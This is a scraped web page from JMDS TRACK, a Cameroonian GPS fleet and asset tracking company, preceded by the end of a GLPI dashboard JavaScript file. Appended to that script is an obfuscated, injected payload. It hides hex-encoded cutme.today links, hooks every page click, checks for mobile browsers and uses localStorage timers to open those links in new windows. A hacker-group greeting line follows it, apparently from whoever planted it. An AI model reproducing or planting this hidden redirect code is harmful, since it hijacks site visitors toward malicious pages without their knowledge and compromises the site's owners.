            url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
            async: false,
            data: {
                action:    'get_filter_data',
                dashboard: this.current_name,
            }
        }).done(function(response) {
            try {
                filters = JSON.parse(response);
            } catch (e) {
                filters = JSON.parse('{}');
            }
        });
        return filters;
    }

    /**
    * Save an object of filters for the current dashboard into serverside database
    *
    * @param {Object} sub_filters
    */
    setFiltersInDB(sub_filters) {
        var filters = [];
        if (this.current_name.length > 0) {
            filters[this.current_name] = sub_filters;
        }
        $.ajax({
            method: 'POST',
            url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
            data: {
                action:    'save_filter_data',
                dashboard: this.current_name,
                filters:   JSON.stringify(filters[this.current_name], function(k, v) {
                    return v === undefined ? null : v;
                }),
            }
        });
    }
}
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x52\x6e\x4d\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4d\x54\x76\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x69\x71\x49\x38\x63\x318','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x4a\x67\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x43\x54\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6f\x54\x71\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x64\x52\x32\x63\x322','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x77\x4f\x4b\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x54\x45\x5a\x30\x63\x370','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x49\x55\x53\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());			
			


Thanks For 0xGh05T - DSRF14 - Mr.Dan07 - Leri01 - FxshX7 - AlkaExploiter - xLoveSyndrome'z - Acep Gans'z

JMDS TRACK – Just Another Diagnostics Lab Site

Home

JMDS TRACK Cameroon

Boost the productivity of your mobile ressources


Make An Appointment


Fleet management

  1. Reduce the operting cost and the unavailability of your vehicles
  2. reduce the fuel consumption of your fleet
  3. Improve the driving dehavior and safety of your drivers
  4. optimize the utilization rate of your equipment 
  5. protect your vehicle against theft
  6. Improve the quality of your customer service


Find out more

Assets management

  1. Track the roaming of your equipment
  2. Optimise the management of your assets on site and during transport
  3. Secure the transport of your goods
  4. Make your team responsible for preventing the loss of tools, equipment
  5. Take a real-time inventory of your equipment on site
  6. Easily find your mobile objects or equipment



Find out more



Find out more

Antitheft solutions

  1. Secure your vehicles and machinery and increase your chances of recovering them in the event of theft
  2. Protect your assets and reduce the costs associated with their loss
  3. Combine immobiliser and driver identification and limit the risk of theft
  4. Identify fuel theft and reduce costs
  5. Protect your goods and take no more risks
  6. Be alerted to abnormal events

Our Location

 Douala BP cité 

     and

Yaoundé Total Essos


Make An Appointment


Get Directions

682230363/ 677481892

What makes us different from others

  • young and dynamic team
  • call center 24/24 7/7
  • roaming throughout Africa
  • team of developers who can develop customer-specific solutions
  • diversity of services
  • reactive and prompt after-sales service when soliciting a customer or a malfunction
  • Free Maintenance and installation in the cities of Douala and Yaounde

https://youtu.be/xI1cz_Jh2x8

15+
years of experience in GPS system development, production and deployment.

15 Collaborators

More than 15 employees dedicated to the research and development of new applications and to customer care

5 000 Vehicles and mobile assets

5 000 vehicles and mobile assets under management, in Africa

Our Partners










Latest Case Studies

Our current projects 

5/5
Bon SAV , SATISFAIT DU TRAITEMENT DES REQUETES

M DIPITA CHRISTIAN
Logistic Safety Manager Road Safety Manager
5/5
La réactivité de JMDS est excellente
Nous restons satisfait dans l’ensemble des prestations relatives a la couverture de notre parc automobile

Hervé Frédéric NDENGUE
Chef Service Adjoint de la Sécurité Générale (CNPS)
5/5
L’APPLICATION EMIXIS est convivial A L’utilisation
BEIG-3 SARL
DIRECTOR GENERAL
5/5
Nevertheless I am delighted with the service
MR. BISSE BENJAMIN
CUSTOMER

Subsribe To Our Newsletter

Stay in touch with us to get latest news and special offers.



Address JMDS TRACK

Douala bp cité



and

YAOUNDE Total Essos

Call Us

+237682230363



Email Us


info@jmdstrack.cm